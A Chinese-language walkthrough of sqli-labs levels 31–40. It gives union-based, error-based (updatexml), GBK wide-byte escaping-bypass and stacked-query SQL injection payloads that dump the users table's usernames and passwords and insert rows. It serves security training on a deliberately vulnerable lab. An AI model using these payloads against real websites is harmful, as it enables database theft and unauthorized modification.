Less-31
这一关,先试闭合
?id=1")--+
页面正常说明使用双引号括号闭合的
那我们直接爆库
?id=-1")union select 1,database(),3--+
有了库名接下来我们爆表
?id=-1")union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
接下来爆表
?id=-1")union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
然后爆字段
?id=-1")union select 1,group_concat(id,'~',username,'~',password),3 from users --+
完成。
Less-32
这一关他将我们的单引号转义了,这关就是单引号闭合的,如果没有单引号我们是没有办法做的
那怎么绕过呢?这就需要知道他将我们输入的单引号转义成了什么,通过查看他将单引号转移成了
\'。
为啥转义成\'就不能闭合了明明单引号还在?
在SQL中, \' (反斜杠+单引号)会被当作字符串的一部分,核心原因是反斜杠( \ )的“转义作用”——它将单引号从“语法符号”变成了“普通字符”,让SQL解析器不再将其视为字符串的边界。
具体来说:
SQL语句中,单引号( ' )的默认作用是标识字符串的开始或结束(即边界)。例如:
SELECT * FROM users WHERE name = 'zhangsan'
这里的两个单引号是边界,中间的 zhangsan 是字符串内容。
如果用户输入包含单引号(比如 user'123 ),不处理的话会破坏语法:
SELECT * FROM users WHERE name = 'user'123' -- 语法错误(多了一个单引号)
为了避免这种情况,程序会用反斜杠( \ )对单引号进行转义,转义后单引号变成 \' 。此时,SQL解析器会将 \ 视为“转义符”,理解为:“后面的单引号不是边界,而是字符串里的一个普通字符”。
例如,输入 user'123 被转义为 user\'123 ,SQL语句变为:
SELECT * FROM users WHERE name = 'user\'123'
此时,解析器会把 user'123 整体当作字符串内容(单引号被当作普通字符),语法正确,避免了注入。
简单说: \ 的作用是“告诉SQL解析器:后面的单引号不是边界,只是个普通字符”,因此 \' 会被当作字符串的一部分处理。
那怎么绕过呢?
宽字节注入的绕过原理
宽字节注入的核心是利用字符编码转换,抵消反斜杠的转义作用。具体场景如下:
- 应用程序使用宽字节编码(如GBK,每个字符占2字节)存储数据。
- 转义时,反斜杠( \ )在ASCII编码中是单字节(十六进制 0x5C )。
当用户输入一个高字节字符(如 0xBF )时,应用程序在将输入转换为宽字节编码时,会将 0xBF 与后面的反斜杠 0x5C 合并为一个GBK字符( 0xBFC5 是一个合法的GBK字符)。此时,反斜杠被“消耗”,原本被转义的单引号 \' 会恢复为 ' ,从而重新具备破坏SQL语句的能力。
例如:
- 用户输入 %BF' ( %BF 是 0xBF 的URL编码)。
- 转义后变为 %BF\' (即 0xBF 0x5C 0x27 )。
- 宽字节编码转换时, 0xBF 与 0x5C 合并为一个字符,剩余 0x27 (单引号),导致SQL语句被注入:
SELECT * FROM users WHERE username = '�' OR ... ( � 是合并后的宽字节字符,单引号恢复作用)。
总结
单引号被转义为 \' 是应用程序的安全防护机制,目的是将单引号从语法符号转为普通字符;而宽字节注入通过编码特性“吃掉”反斜杠,使单引号恢复语法作用,从而绕过防护。
知道了这些我们再来做这道题
首先我们来爆库名,因为没有回显点所以我们用报错函数
?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+
下面爆表名,这里注意不能再用'security'了因为它的单引号也会被转义
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
下面爆字段,同理
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+
最后爆数据
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+
Less-33
试了一下这一关也是宽字节注入,和上一关一模一样,直接参考就行
Less-34
这一关改成了post传参,但还是一样,因为post传参不显示在url上了,所以我们直接抓包做就好了
不在输入框输入我们拼接的语句是因为它会将我们的语句编码
爆库
%df' or updatexml(1,concat(0x7e,(database()),0x7e),1)#
下面我就不说了
Less-35
这一关发现不需要闭合,它是一个数字型的,我们的语句会直接生效,数字型闭合宽字节
那直接爆库
?id=1 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+
爆表
?id=1 or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+
最后爆数据
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+
Less-36
这一关竟然和32一样宽字节注入
爆库
?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+
后面我就不写了
Less-37
这一关又是一个post型宽字节注入,抓包报库
?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+
后面参考34关
Less-38
用来练习一下堆叠注入上面关卡还没有用到过,堆叠注入就是拼接的语句后加上分号然后跟上增删改查的语句。
例如我们往进去插一条数据
?id=1' union select 1,2,3;insert into users (id,username,password) values(111,'2','3')--+
看一下这条数据进去了没
?id=1' union select 1,(select group_concat(username, password) from users where id = 111),3 --+
以此类推。
Less-39
这一关数字型堆叠注入
?id=1 union select 1,(select group_concat(username, password) from users where id = 111),3 --+
和上一关一样。
Less-40
还是用堆叠注入单引号括号闭合
?id=-1') union select 1,(select group_concat(username, password) from users where id = 111),3 --+